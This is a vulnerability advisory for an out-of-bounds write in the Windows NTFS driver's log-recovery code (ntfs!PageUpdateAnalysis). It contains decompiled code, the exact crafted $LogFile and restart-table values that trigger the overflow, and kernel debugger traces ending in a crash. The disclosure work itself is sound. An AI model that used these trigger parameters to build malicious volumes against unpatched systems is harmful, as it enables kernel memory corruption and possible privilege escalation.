[ << ALL_FEED ]

Out-of-bounds write in ntfs!PageUpdateAnalysis

More in General

BDUPTCVE
2025-124652026-26902026-20840

Summary

A heap buffer overflow vulnerability exists in the ntfs!PageUpdateAnalysis function of the Microsoft Windows NTFS driver. A specially crafted NTFS volume can cause an out-of-bounds write into kernel NonPagedPoolNx memory during log recovery. An attacker can trigger this vulnerability by causing an affected Windows system to mount a volume containing malicious $LogFile records. The resulting kernel memory corruption may lead to denial of service, privilege escalation, or arbitrary kernel code execution.

Confirmed Vulnerable Versions

ntfs.sys.10.0.22621.5037

Product URLs

Microsoft Windows — https://www.microsoft.com/windows

CWE

CWE-787 — Out-of-bounds Write

Details

NTFS is the primary file system used by Microsoft Windows. Its metadata journal, $LogFile, contains records used to restore file system consistency after interrupted operations.

ntfs!AnalysisPass implements the analysis phase of NTFS restart recovery, preceding the redo and undo phases. It scans log records from the most recent checkpoint and reconstructs recovery state, including transaction and dirty page tables. These tables track outstanding transactions and metadata pages whose updates may not have reached disk, allowing subsequent recovery phases to determine which operations require replay or rollback.

ntfs!PageUpdateAnalysis processes page-update records during this analysis phase. The mount stack context is:

0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f     Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000     Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be     Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86     Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639     Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec     Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa     nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84     nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000     nt!KiStartSystemThread+0x34

NTFS stores dirty page entries in a flat RESTART_TABLE allocation in NonPagedPoolNx. Each entry contains an array of logical cluster numbers (LCNs), with capacity determined by the entry size:

DIRTY_PAGE_ENTRY (simplified):
  +0x00  AllocatedMarker   DWORD   (-1 indicates an in-use entry)
  +0x04  TargetAttribute   USHORT
  +0x08  LengthOfTransfer  ULONG
  +0x0C  LcnsToFollow      ULONG
  +0x10  StartingVcn       8-byte virtual cluster number
  +0x18  OldestLsn         8-byte log sequence number
  +0x20  LcnsForPage[]     Array of 8-byte LCN values

Table allocation is performed during ntfs!InitializeRestartState when DirtyPageTable is loaded from the image.

In ntfs!PageUpdateAnalysis, after ntfs!FindDirtyPage returns an existing entry, ntfs!PageUpdateAnalysis copies LCN values from the incoming log record into that entry.

// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord->TargetAttribute, CurrentLogRecord->TargetVcn, &v20) ) {
    ... // entry not found
}
while ( 1 ) {
    result = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
    if ( v8 >= (unsigned int)result ) // v8 is i
      break;
    v20->LcnsForPage[LODWORD(CurrentLogRecord->TargetVcn) + v8 - LODWORD(v20->Vcn)] = CurrentLogRecord->LcnsForPage[v8];
    ++v8;
}
return result;

The analyzed binary contains the following code corresponding to the decompiled listing that you can see above:

1c025844c  cmp  esi, eax
1c025844e  jnb  loc_1C025846F
1c0258455  mov  rdx, [rsp+...]       ; DirtyPage entry
1c025845a  sub  ecx, [rdx+10h]       ; subtract StartingVcn, low 32 bits
1c025845d  add  ecx, [r13+18h]       ; add TargetVcn, low 32 bits
1c0258461  mov  rax, [r13+r8*8+20h]  ; LogRecord->LcnsForPage[i]
1c0258466  mov  [rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b  inc  esi
1c025846d  jmp  short loc_1C0258447

The effective destination index is calculated using 32-bit arithmetic:

Index = i + TargetVcn - StartingVcn

ntfs!FindDirtyPage matches an entry when StartingVcn <= TargetVcn < StartingVcn + LcnsToFollow:

char __fastcall FindDirtyPage(
        My_RESTART_POINTERS *a1,
        int TargetAttribute,
        signed __int64 Vcn,
        My_DIRTY_PAGE_ENTRY **DirtyPage)
{
  My_DIRTY_PAGE_ENTRY *i; // rax
  __int64 v9; // rdx

  if ( !a1->Table )
    return 0;
  for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
        ;
        i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
  {
    if ( !i )
    {
      *DirtyPage = 0LL;
      return 0;
    }
    if ( i->TargetAttribute == TargetAttribute )
    {
      v9 = i->Vcn; // v9 is a starting VCN
      if ( Vcn >= v9 && Vcn < v9 + (unsigned int)i->LcnsToFollow )
        break;
    }
  }
  *DirtyPage = i;
  return 1;
}

This establishes that the starting cluster lies within the entry, but does not establish that the complete incoming range fits. For TargetVcn = StartingVcn + k, the loop writes to indices k through k + LcnsToFollow - 1. The array overflows when:

k + LcnsToFollow &gt; ClustersPerPage

The resize check in ntfs!PageUpdateAnalysis only considers whether LcnsToFollow > ClustersPerPage. It does not account for the destination offset k. Consequently, a record whose LCN count fits the nominal capacity can still overflow the destination array.

// ntfs!PageUpdateAnalysis
...
if ( Table ) {
    ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table-&gt;EntrySize - 40) &gt;&gt; 3) + 1;
}
else {
    ClustersPerPage = a2-&gt;ClustersPerPage;
    NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2-&gt;RestartVersion &gt;= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord-&gt;LcnsToFollow;
if ( LcnsToFollow &gt; ClustersPerPage ) {
    ClustersPerPage = (unsigned __int16)CurrentLogRecord-&gt;LcnsToFollow;
    NtfsInitializeRestartTable(
      8 * LcnsToFollow + 32,
      (unsigned __int16)a4-&gt;Table-&gt;NumberEntries,
      a2-&gt;RestartVersion &gt;= 2u,
      0,
      &amp;Resource); // resize
    ...
}
...

No destination bounds check precedes the write, either in the ntfs!PageUpdateAnalysis function or in ntfs!InitializeRestartState. Incidentally, ntfs!InitializeRestartState accepts DirtyPageTable data as is when the MajorVersion of $LogFile is not zero.

// ntfs!InitializeRestartState
...
if ( RestartArea->DirtyPageTableLength )
  {
    restarted = (My_RESTART_TABLE *)ReadRestartTable(
                                      IrpContext,
                                      Vcb,
                                      RestartArea->DirtyPageTableLsn,
                                      &Leb,
                                      &RestartAreaLength);
    ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
    v80 = 1;
    Table = DirtyPageTable->Table;
    if ( RestartArea->MajorVersion ) // MajorVersion check
    {
      ExFreePoolWithTag(DirtyPageTable->Table, 0);
      DirtyPageTable->Table = 0;
      v26 = RestartAreaLength;
      v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, 'RFtN');
      DirtyPageTable->Table = v27;
      memmove(v27, restarted, v26); // data from image has been accepted here
      DirtyPageTable->Table->field_A = DirtyPageTable->Table->NumberAllocated;
      ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
      v80 = 1;
      LODWORD(restarted) = 0;
    }
    else
    {
      ...
    }
    ...
}

Proof of Concept

When the crafted volume is mounted, NTFS performs the following operations:

  1. ntfs!InitializeRestartState reads the serialized DirtyPageTable from $LogFile.
  2. Because the restart area has a nonzero MajorVersion, the complete table is copied into a newly allocated NonPagedPoolNx buffer.
  3. ntfs!AnalysisPass begins scanning at the crafted checkpoint.
  4. The next record is the crafted UpdateResidentValue record.
  5. The incoming LcnsToFollow value is 8, equal to ClustersPerPage, so the table-resizing path is not taken.
  6. ntfs!PageUpdateAnalysis calls ntfs!FindDirtyPage with TargetAttribute = 0x18 and TargetVcn = 7.
  7. ntfs!FindDirtyPage selects slot 31 because its range is [0, 8) and therefore contains VCN 7.
  8. The vulnerable copy writes the eight supplied LCN values beginning at destination index seven.

The PoC crafts restart area uses MajorVersion = 2. This causes Ntfs!InitializeRestartState to allocate a buffer for the serialized DirtyPageTable and copy the table from the image without rebuilding its entries.

The PoC creates a RESTART_TABLE with the following properties:

EntrySize       = 0x60
NumberEntries   = 32
NumberAllocated = 32

Each entry contains eight LCN slots:

EntrySize = 0x20 + 8 * sizeof(LCN)
          = 0x20 + 8 * 8
          = 0x60

All 32 entries are marked as allocated, preventing ntfs!PageUpdateAnalysis from selecting or creating a free slot. Entries zero through 30 use distinct VCN ranges that do not match the triggering record. The final entry, slot 31, is configured as follows:

AllocatedMarker  = 0xffffffff
TargetAttribute  = 0x18
LengthOfTransfer = 0x1000
StartingVcn      = 0
LcnsToFollow     = 8
LcnsForPage      = {1, 2, 3, 4, 5, 6, 7, 8}

Because slot 31 is the final entry, data written beyond its LCN array also extends beyond the complete RESTART_TABLE allocation. The table allocation has the following size:

sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)

On the snippet below you may see how DirtyPageTable is initialized in runtime as well as part of data corresponded to layout described above.

0: kd> p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=ffff8f8d385def01  r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438      cmp     dword ptr [r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd> p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=000000005246744e  r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff  call    qword ptr [Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)] 
...
1: kd> p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=0000000000000c18  r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff      call    Ntfs!memcpy (fffff806`288b4b40)
1: kd> db ffffcd0fd11c0158
ffffcd0f`d11c0158  60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00  `. . ...........
ffffcd0f`d11c0168  00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................
ffffcd0f`d11c0178  00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00  ................
ffffcd0f`d11c0188  2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00  +...............
ffffcd0f`d11c0198  02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01a8  04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01b8  06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01c8  08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................

The triggering record uses the UpdateResidentValue redo operation, which is dispatched to ntfs!PageUpdateAnalysis:

RedoOperation   = 0x07
UndoOperation   = 0x02
TargetAttribute = 0x18
TargetVcn       = 7
LcnsToFollow    = 8
ClientDataLength = 0x60

1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f        movzx   ecx,word ptr [r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912          cmp     ecx,12h
... // some optimized switch-case related code is here 
0: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=0000000000a8942b  r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000      call    Ntfs!PageUpdateAnalysis (fffff806`28a31860)

The destination indices are calculated as follows:

Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7

For i = 0..7, the resulting indices are:

7, 8, 9, 10, 11, 12, 13, 14

Index seven is the final valid element. Indices eight through fourteen are outside the entry:

Because the selected entry is slot 31, these seven LCN values extend 56 bytes beyond the end of the complete 3096 byte restart-table allocation.

1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6            mov     edx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce            mov     ecx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10        sub     ecx,dword ptr [r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18        add     ecx,dword ptr [r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x13b:    // read data that comes from image
fffff806`28a3199b 498b44d520      mov     rax,qword ptr [r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd> p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????

Mounting the generated VHD on a system using the affected ntfs.sys reaches the unchecked write in Ntfs!PageUpdateAnalysis:

1: kd> !analyze -v -force
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------

KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffff8f8d385d0000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4500

    Key  : Analysis.Elapsed.mSec
    Value: 9710

    Key  : Analysis.IO.Other.Mb
    Value: 14

    Key  : Analysis.IO.Read.Mb
    Value: 15

    Key  : Analysis.IO.Write.Mb
    Value: 201

    Key  : Analysis.Init.CPU.mSec
    Value: 97484

    Key  : Analysis.Init.Elapsed.mSec
    Value: 11291658

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 265

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!PageUpdateAnalysis

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80628a319a0

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x1d19a0

    Key  : Failure.Hash
    Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1

BUGCHECK_CODE:  50

BUGCHECK_P1: ffff8f8d385d1000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80628a319a0

BUGCHECK_P4: 2

FAULTING_THREAD:  ffff8f8d2e595040

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff8f8d385d1000

WRITE_ADDRESS:  ffff8f8d385d1000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax
STACK_TEXT: ffffe180`efdef068 fffff806`959ace42 : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus ffffe180`efdef070 fffff806`959ac36c : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12 ffffe180`efdef0d0 fffff806`958f6537 : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c ffffe180`efdef860 fffff806`957d194c : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107 ffffe180`efdef8a0 fffff806`95640510 : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0 ffffe180`efdef990 fffff806`95aacfcb : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630 ffffe180`efdefb00 fffff806`28a319a0 : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b ffffe180`efdefc90 fffff806`28a30f6f : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140 ffffe180`efdefe10 fffff806`28a95000 : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b ffffe180`efdeff30 fffff806`28a1c3be : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc ffffe180`efdf00a0 fffff806`28a19f86 : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816 ffffe180`efdf07e0 fffff806`2888e639 : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6 ffffe180`efdf08c0 fffff806`956db7ec : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619 ffffe180`efdf0a10 fffff806`95881afa : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec ffffe180`efdf0bf0 fffff806`95a9ef84 : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a ffffe180`efdf0c40 00000000`00000000 : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34 SYMBOL_NAME: Ntfs!PageUpdateAnalysis+140 MODULE_NAME: Ntfs IMAGE_NAME: Ntfs.sys IMAGE_VERSION: 10.0.26100.6899 STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb BUCKET_ID_FUNC_OFFSET: 140 FAILURE_BUCKET_ID: AV_VRF_Ntfs!PageUpdateAnalysis OS_VERSION: 10.0.26100.1 BUILDLAB_STR: ge_release OSPLATFORM_TYPE: x64 OSNAME: Windows 10 FAILURE_ID_HASH: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e} Followup: MachineOwner ———

The following exploitation is trivial.

Disclosure Timeline

  • September 23, 2025 The vendor was notified of the vulnerability and provided with a technical report.
  • September 25, 2025 The vendor completed its internal triage and confirmed the vulnerability. Preliminary timelines for the fix and advisory were provided.
  • September 26, 2025 The vendor was notified of the planned public disclosure.
  • January 13, 2026 Security updates were released and the advisory was published.

More from author_vr

More from author_vr

More in General